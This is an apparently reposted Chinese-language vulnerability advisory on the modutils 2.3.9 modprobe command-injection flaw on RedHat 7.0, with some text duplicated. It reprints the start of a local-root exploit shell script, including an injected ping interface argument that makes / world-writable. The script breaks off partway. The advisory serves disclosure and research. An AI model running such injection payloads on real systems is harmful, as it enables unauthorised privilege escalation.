2017-07-27
Linuxmodprobe如何执行任意命令漏洞?
受影响系统:
GNU Linux modutils 2。3。9
+ S。u。S。E。 Linux 7。0
+ S。u。S。E。 Linux 6。4
+ RedHat Linux 7。0
不受影响系统:
GNU Linux modutils 2。 3。11
描述:
绝大多数Linux系统都带有Modutils,用于可加载内核模块。其中modprobe用于加载与来自命令行的模块名相匹配的模块。Modprobe 2。3。9版(可能还包括前后临近的一些版本)存在一个漏洞,可以用于本地获取root权限。
问题在于为了回显用户输入的程序参数,modprobe调用popen()函数,popen()...全部
受影响系统:
GNU Linux modutils 2。3。9
+ S。u。S。E。 Linux 7。0
+ S。u。S。E。 Linux 6。4
+ RedHat Linux 7。0
不受影响系统:
GNU Linux modutils 2。
3。11
描述:
绝大多数Linux系统都带有Modutils,用于可加载内核模块。其中modprobe用于加载与来自命令行的模块名相匹配的模块。Modprobe 2。3。9版(可能还包括前后临近的一些版本)存在一个漏洞,可以用于本地获取root权限。
问题在于为了回显用户输入的程序参数,modprobe调用popen()函数,popen()函数依赖/bin/sh解析命令行并执行"echo",如果用户输入带有某些可利用的shell控制字符,就可能导致其它命令被执行。
缺省安装后modprobe本身并未setuid-to-root,但是可以间接通过kmod利用该漏洞。
当通过request_module()调用请求加在一个模块的时候,Kmod自动执行modprobe。
RedHat Linux 7。0携带的ping程序具有这种特性。当命令行上指定设备不存在时,request_module()被调用,指定设备名作为参数传递进入内核。内核用这个参数执行modprobe。
此时由于是root做popen()调用,所以很容易获取本地root权限。
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Michal Zalewski 提供了一个RedHat 7。
0下的exploit code:
rh7-modprobe。sh
--------------------------------------------------------------------------
#!/bin/sh
echo
echo "RedHat 7。
0 modutils exploit"
echo "(c) 2000 Michal Zalewski "
echo "Bug discovery: Sebastian Krahmer "
echo
echo "Do not have to work on older / non-RH systems。
This bug has been"
echo "introduced recently。 Enjoy :)"
echo
echo "This exploit is really hackish, because slashes are not allowed in"
echo "modprobe parameters, thus we have to play in modprobe's cwd (/)。
"
echo
PING=/bin/ping6
test -u $PING || PING=/bin/ping
if [ ! -u $PING ]; then
echo "Sorry, no setuid ping。
"
exit 0
fi
echo "Phase 1: making / world-writable。。。"
$PING -I ';chmod o+w 。' 195。117。3。59 &>/dev/null
sleep 1
echo "Phase 2: compiling helper application in /。
。。"
cat >/x。c